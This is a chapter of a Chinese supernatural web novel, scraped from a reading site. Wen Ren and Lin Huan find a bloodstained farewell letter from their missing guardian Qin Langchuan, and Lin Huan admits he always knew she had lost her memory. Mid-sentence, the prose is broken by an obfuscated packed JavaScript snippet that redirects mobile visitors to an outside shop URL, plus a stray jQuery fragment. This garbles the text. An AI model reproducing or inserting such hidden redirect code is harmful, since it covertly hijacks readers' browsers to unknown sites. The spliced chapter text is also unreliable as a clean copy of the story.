文趣网 > 都市小说 > 别睡,会穿越[克系] > 56. 暴露
    两人吃完了饭。

    林焕主动收拾桌子,把碗碟摞在一起,端进厨房。

    水龙头哗哗响了一阵,他又拿着抹布出来擦桌子,擦完桌子又开始扫地,扫完地又去拖地。

    温刃坐在沙发上看了他一会儿,她起身想去帮忙,刚走到他身边,林焕就把拖把往身后一藏,侧身挡住她:“别别别,你去看电视,我来就行。”

    “我就帮你擦个桌子。”温刃执拗说道,总不能什么忙都不帮干坐着吧。

    “不用不用,就剩最后一点了。”林焕推着她往沙发的方向走。

    温刃被他按回沙发上,只好拿起遥控器随便换台。

    电视里的画面一闪一闪的,她一个也没看进去。

    余光里,林焕拖地似乎跑神了,拖把从左到右,从右到左,有一块地砖他来回拖了四遍还没挪地方。

    然后拖把的杆碰到了她脚。

    林焕这才回过神,赶紧把拖把收回去,低头看了一眼温刃的脚,又抬起头,一脸歉意:“抱歉抱歉,我刚才跑神了。”

    温刃把脚缩回来,摇了摇头,没说什么。

    她知道林焕在担心什么。

    秦朗川两天没回来了,林焕嘴上不说,心里肯定比谁都急。

    她往旁边挪了挪,给林焕腾出位置,让他把最后那一块地拖完。

    林焕把拖把送回卫生间,洗干净手,走出来的时候顺手从柜子里拿了一条毛毯。

    他走到沙发边,把毛毯抖开,垫在身下。

    “看什么呢?”他问。

    “随便换,没好看的。”温刃说。

    两个人都没再说话。

    电视里在放一个什么综艺节目,看起来很搞笑,但客厅里一点笑声都没有。

    他们都笑不出来。

    家里似乎笼罩了一层阴霾,怎么也散不去。

    秦朗川不在家,这个家就再也不完整了。

    温刃把手搭在沙发靠垫上,手指往缝隙里塞了塞,忽然指尖碰到了一个硬硬的东西。

    她咦了一声,把那东西从夹缝里抽出来。

    那是一张纸,看起来像是一封信。

    林焕听到动静,凑过来看了一眼,脸色一下子变了:“不对啊……我之前打扫的时候明明没有这个东西。”

    “咱们家进脏东西了!”

    温刃:……

    这明显是有人送来的好吧。

    拥有这种传送能力的,就只有秦朗川了。

    “是川哥送过来的。”林焕见温刃一脸无奈,也反应过来了。

    温刃点了点头,缓缓展开信封。

    这分明是从病历单上撕下来的半页,边缘参差不齐。

    纸上的字迹歪歪扭扭的,有些笔画写到一半就断了,纸的边角有几处暗红色的痕迹,已经干了,发褐发黑,是血。

    也不知道是谁的血。

    两人对视一眼,一起往下看去。

    【我们无法离开了……】

    无法离开?

    秦朗川明明拥有瞬移的能力,要说最能逃出去的人就是他,可他写的第一句话就是这个。

    后面的字迹越来越乱,越来越急,有些字叠在一起,分不清笔画。

    【我们成为了它的一部分】

    【不,从一开始,这一切就是一个错误的决定,没有人能逃出去的】

    【快跑!】

    【这家医院有问题!】

    【离开这座塔!】

    最后一个字写得尤其潦草,温刃翻来覆去看了好几遍,才辨认出是“塔”。

    这封信没有写完,最后那个字最后一笔拖出去很长,像是什么东西在那一刻突然打断了写信的人。

    林焕盯着那封信,眼睛一点一点地红了,他想说些什么,最后只是长叹一口气:“果然……是这样吗……”

    温刃转过头,看到林焕快哭了。

    林焕揉了揉眼睛,哽咽说道:“川哥毕竟是小队长,担负着很重的责任,时常要去前线接触那些无比危险的丧诡。”

    “他早些年就说过,或许会遇到那种无法摆脱的丧诡,一旦陷入其中,就再也逃不出来。”

    “丧诡的能力太奇怪了,虽然他能瞬移,可有的丧诡可以封闭空间,像塔主的能力就是专门克制川哥的。”

    “塔主能封锁整座塔的空间,设下禁制,那丧诡里难免也会出现类似的能力。这次……恐怕就是遇到那种情况了,连川哥的瞬移都逃不出来。”

    林焕不由长长叹了口气,语气越来越沉重。

    “川哥将我们从小养大,一直陪着我们,为我们付出太多了,所以他跟我讲过,如果有一天真的遇到这种逃不出去的情况,他一定会想办法把信送出来。”

    “或者……如果他三天没有消息,那就代表他也没有救了。”

    电视里的综艺节目还在笑,温刃愣了一下,急忙关掉电视。

    林焕抽了抽鼻子,继续说道:“他还说,如果遇到这种情况,他曾经为你写了一封信,让我到时候拿出来给你。”

    温刃她张了张嘴,想说点什么安慰的话,可他也不知道该说些什么。

    她跟秦朗川才见过寥寥数面,说实话并没有多深的感情,可这些天相处下来,那个人每天准时在厨房里忙活,听到她咳嗽会多煮一碗姜汤,看到她回来晚了会留一盏灯。

    家人之间就总是这样。

    她跟妈妈之间也是这样。

    有时候不说话,就知道对方在想些什么。

    这是家人吧,是她在异世界的家人……

    温刃欲言又止,她不知道该怎么安慰林焕,以往叶令美伤心的时候,她总是抱住她,让美美把眼泪擦在她的肩膀上。

    可现在这情况……

    林焕突然从沙发上站起来,伸出一只手,手心朝上,停在温刃面前:“温刃,跟我来。”

    温刃看了看他的手,还是把自己的手放上去。

    林焕见状牵着她往外走,往隔壁林焕的房子走。

    这是她第一次进林焕的房间。

    窗帘是浅蓝色的,沙发套是深蓝色的,地毯是灰蓝色的,连墙上的挂画都是一片海……

    林焕似乎很喜欢蓝色。

    林焕:“好看吧,我很喜欢蓝色,说实话,出生这么久了,一直待在塔里,我还没见过太阳,还没见过大海呢,据说有一座塔建在海里,该有多美啊,好想看看大海,看看湛蓝的天空啊……”

    “我说跑题了。”他轻咳两声。

    他拉着温刃穿过客厅,直奔厨房,把手伸进水槽下方的柜子里,在最深处摸了一会儿,掏出一个被黑色塑料袋紧紧裹着的盒子。

    塑料袋外面还缠了几圈胶带,林焕撕了好几下才撕开。

    他把盒子上的灰尘吹了吹,用袖口擦了擦,然后转过身,双手捧着,递给温刃:“温刃,这是川哥留给你的,他说过,如果他不在了,一定要我把这个东西交给你。”

    温刃接过盒子打开,里面有一封信,和一个铭牌大小的物件。

    铭牌通体是乳白色的,像是用某种玉石雕刻而成。

    上面刻着一只萤火虫,翅膀微微张开,尾端有一抹淡绿色的荧光,在灯下微微发亮,像还活着一样。

    铭牌背后刻着两个字。

    【雨燕】。

    温刃知道那种燕子,它们也被叫做无脚鸟,一旦起飞,就再也不会落地了。

    温刃把铭牌翻来覆去看了两遍,然后抬起头看向林焕。

    她不知道该说什么,这就是秦朗川最后留下的东西吗?

    一只萤火虫,两个字,这个东西是有什么特殊含义吗?

    她跟秦朗川之间没有那么多轰轰烈烈,不过是每天一起吃两顿饭,偶尔说几句话,他出门的时候说一句“我走了”,她回一句“早点回来”。

    可,这不就是家人之间的相处模式吗?

    温刃陷入沉默了。

    林焕拉起温刃的手,他看着她的眼睛,眼神里有释然,有一种说不清道不明的温柔,像在看一个认识了很久很久的人。

    “温刃,你也发现了吧。”

    “我总会说很多很多话,那些话其实没必要说,可我都是专门说给你听的。”

    温刃嘴角一僵,心跳骤然加快。

    什么?

    林焕这话是什么意思?

    不过,她确实发现了。

    林焕总是在说一些有的没的,比如高塔的等级划分,丧诡的种类啊。

    那些东西他本不需要对她讲,可他偏偏一直在讲,像是在给一个什么都不懂的人做向导。

    对,就像是在给一个什么都不懂的人做介绍。

    给一个失去记忆的人做介绍。

    温刃相同的那一瞬间,头皮发麻,如坠深渊。

    林焕发现她失忆,发现她不是原主了。

    “不要担心,不要害怕。”林焕抓住她的手,温柔说道,“我早就知道你失去了记忆。”

    温刃后退了一步,她瞪大了眼睛看着林焕,瞳孔收缩。

    林焕居然真的知道她失忆了!

    “你……什么时候发现的?”温刃第一次感觉到惊恐,像是被人看穿了一切,她一直像个小丑一样在演戏。

    为什么?

    林焕想了想,认真说道:“我一开始就发现了。”

    “我见你的第一面,你眼睛满是惊恐,似乎遇到了什么事情,但我知道你的性格,你害怕的时候会叫我‘小焕’,不会叫我的全名。”

    温刃回想了一下自己穿越后第一次见到林焕的场景。

    好吧,她那时候看到简历,第一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599670|202335||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    次开口叫的是林焕。

    这么细的差别,他居然注意到了。

    她以为自己做得很完美,以为所有原住民都像林焕一开始表现的那样憨厚好骗。

    可原来不是他没发现。

    一直没发现问题的人居然是她!

    “你……你不怕吗?”温刃小心翼翼问,“我可能已经不是原来的那个人了。”

    林焕摇了摇头:“失去记忆,就像是变成了另一个人,像是被装进了一个新的灵魂。”

    “可是我没有揭穿你。”

    温刃皱起眉头:“为什么?”

    林焕笑了:“因为你还是你。”

    “虽然称呼上变了,可你的性格还是那样,该害怕的时候害怕,该好奇的时候好奇,看到新鲜的东西眼睛会发亮。”

    “我也说不上来,反正你就是没有变。”

    “虽然你失去了记忆,可你还是你。”

    温刃没有说话,难道,她跟原主性格一样?

    这难道是巧合?

    “而且,”林焕把目光从她脸上移开,落在那扇挂着蓝色窗帘的窗户上,“川哥说过一段话。”

    “他说,如果有一天小刃变了一副模样,变得失去记忆,连性格都变了,那是正常的。”

    “着说明她长大了,她将开启一条无比痛苦、没有尽头、充满迷雾的路,那条路上只有她一个人。”

    “所以,不要怀疑她,好好陪着她,帮帮她,让她不再孤独,成为她可以依靠的家人,让她幸福,尽可能让她开心。”

    他转回头,看着温刃。

    “这是他很久以前对我说的,他让我记住这些话。”

    温刃觉得眼眶发烫。

    她眨了眨眼,有什么东西从眼角滑下来,顺着脸颊一直流到下巴,滴在那只玉质的萤火虫铭牌上。

    她伸手摸了摸自己的脸,她不知道自己什么时候流的泪。

    这不是她的记忆,不是她的过去。

    可她心里有什么东西在共鸣,让她伤感。

    当然,也有可能是她感受到了原主的伤心,感受到原主的痛苦。

    所以,秦朗川也从一开始就知道她的神灯。

    他知道她会变成这样,知道她会失去记忆,所以他对林焕说了那番话。

    可秦朗川也没有表现出异常。

    温刃低下头,用袖子胡乱擦了一把脸。

    她看着林焕,半天才说出一句话:“你……你怎么不早点告诉我?”

    林焕吸了吸鼻子:“我怕你害怕,你刚来的时候看谁都像在看坏人,我说什么你都半信半疑的。”

    “我要是一开始就说‘我知道你不是原来的温刃’,你肯定扭头就跑,不是么?”

    温刃没法反驳,因为林焕说的是对的。

    那种情况不跑就是傻子了!

    林焕伸出手,小心翼翼地把那只萤火虫铭牌从她掌心拿起来,翻到背面。

    “川哥说,这个铭牌是他很久以前做的,那时候你还小,怕黑,他就在你房间里放了萤火虫的灯,说萤火虫会保护你。”

    “后来你长大了,不怕黑了,他就把这个做成铭牌,一直留着,想等合适的时候给你。”

    他把铭牌放回温刃手心,把她的手指合拢,让她自己握住。

    “他本来想亲手给你的。”

    温刃握着那个铭牌,掌心被那团淡绿色的光照得微微发亮。

    说实话,真实的她小时候也很怕黑,她不知道为什么,一旦遇到很黑的环境,她就感觉到痛苦,像是被人扼住了脖子,怎么也呼吸不过来。

    后来妈妈总是在黑夜里陪着她,轻轻的抚摸她的脑袋。

    持续了一段时间后,温刃再也不怕黑暗了。

    没想到这个世界的原主也是这样。

    温刃忽然觉得,这座高塔好像没有那么冷了。

    她往前迈了一步,伸出手,轻轻抱了抱林焕:“你以后别一个人扛着了,有什么事跟我说。”

    林焕使劲点了点头,又抽了一下鼻子:“好。”

    他转过身,从灶台上扯了一张纸巾,擤了擤鼻涕,然后把纸巾团成一团扔进垃圾桶。

    再转回来的时候,他的表情已经恢复了大半,只是眼眶还有点红。

    “那……我给你去热杯牛奶?”他问。

    “好。”温刃说。

    温刃靠在厨房门框上,手里攥着那只萤火虫铭牌,看着他的背影。

    她忽然想起林焕刚才说的那句话,他说他想看看大海。

    “会的。”温刃说了一句,也不知道说给谁听的。

    恰好在此时,微波炉叮的一声响了。

    林焕没听清,回过头来:“你说什么?”

    温刃摇了摇头:“没什么,牛奶好了,端过来吧。”